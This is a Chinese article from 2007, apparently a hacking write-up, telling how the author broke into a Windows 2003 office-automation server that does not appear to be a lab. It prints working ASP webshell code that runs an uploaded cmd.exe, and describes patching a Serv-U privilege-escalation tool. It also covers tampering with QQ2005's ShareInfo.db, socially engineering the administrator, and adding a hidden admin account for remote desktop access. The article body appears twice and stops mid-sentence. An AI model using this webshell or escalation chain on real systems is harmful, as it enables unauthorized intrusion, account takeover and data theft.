用QQ文件共享漏洞徹底攻破Windows2003的堅(jiān)固堡壘
更新時(shí)間:2007年01月16日 00:00:00 作者:
服務(wù)器上運(yùn)行的第三方軟件歷來就被攻擊者們看作是入侵目標(biāo)系統(tǒng)的捷徑?,F(xiàn)在,著名的騰訊QQ又被列入了這些捷徑名單,好在QQ并不是服務(wù)器必備的軟件之一,所以相信不會(huì)造成大范圍的危機(jī)。文中遇到特殊情況雖然不多,但大家還是應(yīng)該遵照“可能的就應(yīng)該防范”的原則做出相應(yīng)防御。
一、在Windows2003中得到的webshell
此次滲透的目標(biāo)是一臺(tái)OA辦公系統(tǒng)服務(wù)器。其操作系統(tǒng)新近升級(jí)到了Windows2003,但OA仍存在asp文件上傳漏洞,所以webshell的取得并沒有任何懸念。
阻礙是在權(quán)限提升時(shí)遇到的---
登陸webshell后發(fā)現(xiàn)只能查看服務(wù)器的D盤,對(duì)C盤不能進(jìn)行任何訪問,webshell的提示是“沒有權(quán)限”。這點(diǎn)早在意料之中,因?yàn)閣enshell只有g(shù)uests組權(quán)限,再加上win2003默認(rèn)禁止了“Everyone"匿名用戶及“Guest"組權(quán)限用戶訪問cmd.exe,還造成了不能通過webshell運(yùn)行cmd.exe。
唯一值得慶幸的是利用Webshell 可以對(duì)D盤(存放有web虛擬目錄)各個(gè)子目錄進(jìn)行讀寫。這里除了web虛擬目錄還有一些數(shù)據(jù)備份文件和一個(gè)騰訊QQ安裝目錄Tencent。
二、破解Serv-u的終極防范
Windows2003的種種默認(rèn)安全配置展示了它強(qiáng)大的一面,近一步提升現(xiàn)有權(quán)限似乎已不太可能,直到我試圖從系統(tǒng)入手向這臺(tái)服務(wù)器發(fā)出FTP鏈接請(qǐng)求并看到Serv-u的banner時(shí)才覺得又有了一線希望。
前面提到由于Windows2003對(duì)cmd.exe的權(quán)限限制,通過webshell方式不能運(yùn)行cmd.exe,這樣的論斷在2004年6期的防線的《構(gòu)建Windows2003堡壘主機(jī)》一文也曾提到,但實(shí)踐表明這并不正確,通過webshell上傳本地非2003系統(tǒng)中未受限制的cmd.exe文件到可執(zhí)行目錄,再通過wscript組件,同樣能夠通過webshell方式在Windows2003下獲得相應(yīng)權(quán)限的cmd.exe。結(jié)合nc.exe,甚至還能得到一個(gè)guest組權(quán)限的命令行下的shell。
為此,我對(duì)老兵的站長(zhǎng)助手6.0做了一些改進(jìn),增加了如下代碼,使其能夠利用Wscript.shell組件運(yùn)行本地上傳的cmd.exe。
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method=post><input name=cmd Style=width:92% class=cmd value="&DefCmd&"><input type=submit value=運(yùn)行>"
SI=SI&"<textarea Style=width:100%;height:500; class=cmd>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路徑:<input name=SP value="&ShellPath&" Style=width:70%> "
SI=SI&"<input type=checkbox name=wscript value=yes"&checked&">WScript.Shell</form>"
Response.Write SI
End Function
利用時(shí)只需在shell路徑中指定上傳的cmd.exe路徑,再選中選項(xiàng)Wscript就能運(yùn)行一些所需權(quán)限較低的系統(tǒng)命令,如“net start”或者“netstat -an”,依次運(yùn)行這兩個(gè)命令后Webshell回顯了眾多服務(wù),包括Serv-U FTP Server, 活動(dòng)端口列表中又出現(xiàn)了43958端口,于是我自然想到了神通廣大的Serv-u ftp Server本地權(quán)限提升漏洞??烧嬲玫降膄tp本地權(quán)限提升工具在執(zhí)行系統(tǒng)命令時(shí),卻出現(xiàn)了530錯(cuò)誤提示(如圖1)。看來管理員或者其他人對(duì)Serv-u打上了布丁或者做了某些安全配置。為了知道究竟是怎樣的安全配置,上網(wǎng)查了查相關(guān)文章,其中有一篇《Serv-u ftp Server 本地權(quán)限提升漏洞的終極防范》很受歡迎,被多方轉(zhuǎn)載,作者是世外高人xiaolu。從錯(cuò)誤提示看很有可能做了該文所謂的終極防范,即對(duì)ServUDaemon.exe中默認(rèn)的管理員或密碼進(jìn)行了修改。當(dāng)然這只是假設(shè),只有將目標(biāo)服務(wù)器上的ServUDaemon.exe下載下來看看具體配置才能確定,但是安裝有Serv-u的C盤禁止訪問,包括Programe files 目錄,權(quán)限提升再次受阻。
三、利用QQ2005共享文件漏洞將權(quán)限提升到底
再次翻了翻D盤,又見到了那個(gè)很少能在服務(wù)器中看到的Tencent文件夾。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,幾個(gè)于相關(guān)文件的創(chuàng)建時(shí)間也說明網(wǎng)管最近在服務(wù)器上登陸過QQ。難道只能用QQ?經(jīng)過一番思索,終于想到一個(gè)可以利用的QQ2005在文件共享功能上的一則漏洞。
該漏洞是隨著QQ2005賀歲版新增功能出現(xiàn)的??梢詫⑵湮:γ枋鰹椋豪迷撀┒矗粽呖梢詾g覽,讀取用戶系統(tǒng)中的任意文件(如sam文件、數(shù)據(jù)備份文件、敏感信息文件)。影響系統(tǒng):安裝有QQ2005賀歲版以上的所有Windows系列操作系統(tǒng)。
具體利用方法是:先在本機(jī)登陸自己的QQ,調(diào)出“QQ菜單”,選擇工具->設(shè)置共享,指定C:\或者其他任何有利用價(jià)值的分區(qū)為共享文件,完成后關(guān)閉QQ,找到安裝目錄下的以QQ帳號(hào)命名的文件夾內(nèi)“ShareInfo.db”文件。如圖3所示。,上傳覆蓋目標(biāo)服務(wù)器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。這樣,當(dāng)網(wǎng)管在服務(wù)器上登陸QQ時(shí)就會(huì)向好友開放C盤為共享目錄。。
因?yàn)槟吧耸遣荒芄蚕韺?duì)方文件,所以還需要用社會(huì)工程學(xué)申請(qǐng)將管理員加為好友(理由當(dāng)然越可信越好)。如果管理員通過請(qǐng)求,服務(wù)器的C盤會(huì)以QQ共享文件目錄的名義被共享,原本不能通過WEBSHELL訪問的ServUDaemon.exe文件就能被下載,遇到阻礙的權(quán)限提升之路又能繼續(xù)了。
當(dāng)晚管理員就通過了申請(qǐng),將我添加為好友。珊瑚蟲QQ上顯示的IP正是目標(biāo)服務(wù)器的IP,于是下載了ServUDaemon.exe文件,用UE打開后查找127.0.0.1,發(fā)現(xiàn)默認(rèn)配置下的內(nèi)置帳戶“LocalAdministrator”果然被改成了“LocalAdministruser”。這看起來是一個(gè)很“終極”的防御,但提出該方法的xiaolu似乎沒有進(jìn)行攻防所須的換位思考就將其公布,要知道攻擊者只需知道修改后的配置,并對(duì)本地權(quán)限提升利用工具進(jìn)行相應(yīng)的修改,所謂的終極防御也就被攻破了。方法還是用UE打開脫了殼的serv-u本地權(quán)限提升利用工具,將LocalAdministrator改為L(zhǎng)ocalAdministruser即可。
然后上傳修改后的ftp2.exe,在wscript.shell中執(zhí)行D:\web\ftp2.exe “net user user password /add”后看看結(jié)果,已經(jīng)成功添加了一個(gè)用戶。再把該用戶加入administrators組和“Remote desktop users”組后登陸了目標(biāo)服務(wù)器的遠(yuǎn)程桌面。
―――經(jīng)過重重險(xiǎn)阻,終于徹底攻陷了這臺(tái)堅(jiān)固的Windows2003堡壘。
四、簡(jiǎn)單啟示
可以看出,和“服務(wù)越少越安全”一樣,服務(wù)器上運(yùn)行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 權(quán)限提升和這里提出的利用QQ2005提升權(quán)限,都是可以這樣避免
一、在Windows2003中得到的webshell
此次滲透的目標(biāo)是一臺(tái)OA辦公系統(tǒng)服務(wù)器。其操作系統(tǒng)新近升級(jí)到了Windows2003,但OA仍存在asp文件上傳漏洞,所以webshell的取得并沒有任何懸念。
阻礙是在權(quán)限提升時(shí)遇到的---
登陸webshell后發(fā)現(xiàn)只能查看服務(wù)器的D盤,對(duì)C盤不能進(jìn)行任何訪問,webshell的提示是“沒有權(quán)限”。這點(diǎn)早在意料之中,因?yàn)閣enshell只有g(shù)uests組權(quán)限,再加上win2003默認(rèn)禁止了“Everyone"匿名用戶及“Guest"組權(quán)限用戶訪問cmd.exe,還造成了不能通過webshell運(yùn)行cmd.exe。
唯一值得慶幸的是利用Webshell 可以對(duì)D盤(存放有web虛擬目錄)各個(gè)子目錄進(jìn)行讀寫。這里除了web虛擬目錄還有一些數(shù)據(jù)備份文件和一個(gè)騰訊QQ安裝目錄Tencent。
二、破解Serv-u的終極防范
Windows2003的種種默認(rèn)安全配置展示了它強(qiáng)大的一面,近一步提升現(xiàn)有權(quán)限似乎已不太可能,直到我試圖從系統(tǒng)入手向這臺(tái)服務(wù)器發(fā)出FTP鏈接請(qǐng)求并看到Serv-u的banner時(shí)才覺得又有了一線希望。
前面提到由于Windows2003對(duì)cmd.exe的權(quán)限限制,通過webshell方式不能運(yùn)行cmd.exe,這樣的論斷在2004年6期的防線的《構(gòu)建Windows2003堡壘主機(jī)》一文也曾提到,但實(shí)踐表明這并不正確,通過webshell上傳本地非2003系統(tǒng)中未受限制的cmd.exe文件到可執(zhí)行目錄,再通過wscript組件,同樣能夠通過webshell方式在Windows2003下獲得相應(yīng)權(quán)限的cmd.exe。結(jié)合nc.exe,甚至還能得到一個(gè)guest組權(quán)限的命令行下的shell。
為此,我對(duì)老兵的站長(zhǎng)助手6.0做了一些改進(jìn),增加了如下代碼,使其能夠利用Wscript.shell組件運(yùn)行本地上傳的cmd.exe。
Function CmdShell()
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "cmd.exe"
if Request("wscript")="yes" then
checked=" checked"
else
checked=""
end if
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method=post><input name=cmd Style=width:92% class=cmd value="&DefCmd&"><input type=submit value=運(yùn)行>"
SI=SI&"<textarea Style=width:100%;height:500; class=cmd>"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else%>
<object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea>"
SI=SI&"SHELL路徑:<input name=SP value="&ShellPath&" Style=width:70%> "
SI=SI&"<input type=checkbox name=wscript value=yes"&checked&">WScript.Shell</form>"
Response.Write SI
End Function
利用時(shí)只需在shell路徑中指定上傳的cmd.exe路徑,再選中選項(xiàng)Wscript就能運(yùn)行一些所需權(quán)限較低的系統(tǒng)命令,如“net start”或者“netstat -an”,依次運(yùn)行這兩個(gè)命令后Webshell回顯了眾多服務(wù),包括Serv-U FTP Server, 活動(dòng)端口列表中又出現(xiàn)了43958端口,于是我自然想到了神通廣大的Serv-u ftp Server本地權(quán)限提升漏洞??烧嬲玫降膄tp本地權(quán)限提升工具在執(zhí)行系統(tǒng)命令時(shí),卻出現(xiàn)了530錯(cuò)誤提示(如圖1)。看來管理員或者其他人對(duì)Serv-u打上了布丁或者做了某些安全配置。為了知道究竟是怎樣的安全配置,上網(wǎng)查了查相關(guān)文章,其中有一篇《Serv-u ftp Server 本地權(quán)限提升漏洞的終極防范》很受歡迎,被多方轉(zhuǎn)載,作者是世外高人xiaolu。從錯(cuò)誤提示看很有可能做了該文所謂的終極防范,即對(duì)ServUDaemon.exe中默認(rèn)的管理員或密碼進(jìn)行了修改。當(dāng)然這只是假設(shè),只有將目標(biāo)服務(wù)器上的ServUDaemon.exe下載下來看看具體配置才能確定,但是安裝有Serv-u的C盤禁止訪問,包括Programe files 目錄,權(quán)限提升再次受阻。
三、利用QQ2005共享文件漏洞將權(quán)限提升到底
再次翻了翻D盤,又見到了那個(gè)很少能在服務(wù)器中看到的Tencent文件夾。查看whatsnew.txt。
得知QQ的版本是QQ2005 Beta1,幾個(gè)于相關(guān)文件的創(chuàng)建時(shí)間也說明網(wǎng)管最近在服務(wù)器上登陸過QQ。難道只能用QQ?經(jīng)過一番思索,終于想到一個(gè)可以利用的QQ2005在文件共享功能上的一則漏洞。
該漏洞是隨著QQ2005賀歲版新增功能出現(xiàn)的??梢詫⑵湮:γ枋鰹椋豪迷撀┒矗粽呖梢詾g覽,讀取用戶系統(tǒng)中的任意文件(如sam文件、數(shù)據(jù)備份文件、敏感信息文件)。影響系統(tǒng):安裝有QQ2005賀歲版以上的所有Windows系列操作系統(tǒng)。
具體利用方法是:先在本機(jī)登陸自己的QQ,調(diào)出“QQ菜單”,選擇工具->設(shè)置共享,指定C:\或者其他任何有利用價(jià)值的分區(qū)為共享文件,完成后關(guān)閉QQ,找到安裝目錄下的以QQ帳號(hào)命名的文件夾內(nèi)“ShareInfo.db”文件。如圖3所示。,上傳覆蓋目標(biāo)服務(wù)器上相同文件(如:D:\Tencent\QQ\654321\ShareInfo.db)。這樣,當(dāng)網(wǎng)管在服務(wù)器上登陸QQ時(shí)就會(huì)向好友開放C盤為共享目錄。。
因?yàn)槟吧耸遣荒芄蚕韺?duì)方文件,所以還需要用社會(huì)工程學(xué)申請(qǐng)將管理員加為好友(理由當(dāng)然越可信越好)。如果管理員通過請(qǐng)求,服務(wù)器的C盤會(huì)以QQ共享文件目錄的名義被共享,原本不能通過WEBSHELL訪問的ServUDaemon.exe文件就能被下載,遇到阻礙的權(quán)限提升之路又能繼續(xù)了。
當(dāng)晚管理員就通過了申請(qǐng),將我添加為好友。珊瑚蟲QQ上顯示的IP正是目標(biāo)服務(wù)器的IP,于是下載了ServUDaemon.exe文件,用UE打開后查找127.0.0.1,發(fā)現(xiàn)默認(rèn)配置下的內(nèi)置帳戶“LocalAdministrator”果然被改成了“LocalAdministruser”。這看起來是一個(gè)很“終極”的防御,但提出該方法的xiaolu似乎沒有進(jìn)行攻防所須的換位思考就將其公布,要知道攻擊者只需知道修改后的配置,并對(duì)本地權(quán)限提升利用工具進(jìn)行相應(yīng)的修改,所謂的終極防御也就被攻破了。方法還是用UE打開脫了殼的serv-u本地權(quán)限提升利用工具,將LocalAdministrator改為L(zhǎng)ocalAdministruser即可。
然后上傳修改后的ftp2.exe,在wscript.shell中執(zhí)行D:\web\ftp2.exe “net user user password /add”后看看結(jié)果,已經(jīng)成功添加了一個(gè)用戶。再把該用戶加入administrators組和“Remote desktop users”組后登陸了目標(biāo)服務(wù)器的遠(yuǎn)程桌面。
―――經(jīng)過重重險(xiǎn)阻,終于徹底攻陷了這臺(tái)堅(jiān)固的Windows2003堡壘。
四、簡(jiǎn)單啟示
可以看出,和“服務(wù)越少越安全”一樣,服務(wù)器上運(yùn)行的“第三方”越少越安全,流行的PcAnywhere、VNC、Serv-U 權(quán)限提升和這里提出的利用QQ2005提升權(quán)限,都是可以這樣避免
相關(guān)文章
從搜索參數(shù)過濾不嚴(yán)到IDC虛擬主機(jī)的滲透
從搜索參數(shù)過濾不嚴(yán)到IDC虛擬主機(jī)的滲透...2007-01-01phpwind管理權(quán)限泄露漏洞利用程序發(fā)布
phpwind是國(guó)內(nèi)使用非常廣泛的一款程序,由于在程序設(shè)計(jì)上存在錯(cuò)誤,導(dǎo)致任何人可以取得前臺(tái)管理員及斑主權(quán)限,做刪除帖子等任意操作2008-06-06COCOON Counter統(tǒng)計(jì)程序后臺(tái)寫馬
COCOON Counter統(tǒng)計(jì)程序后臺(tái)寫馬...2007-01-01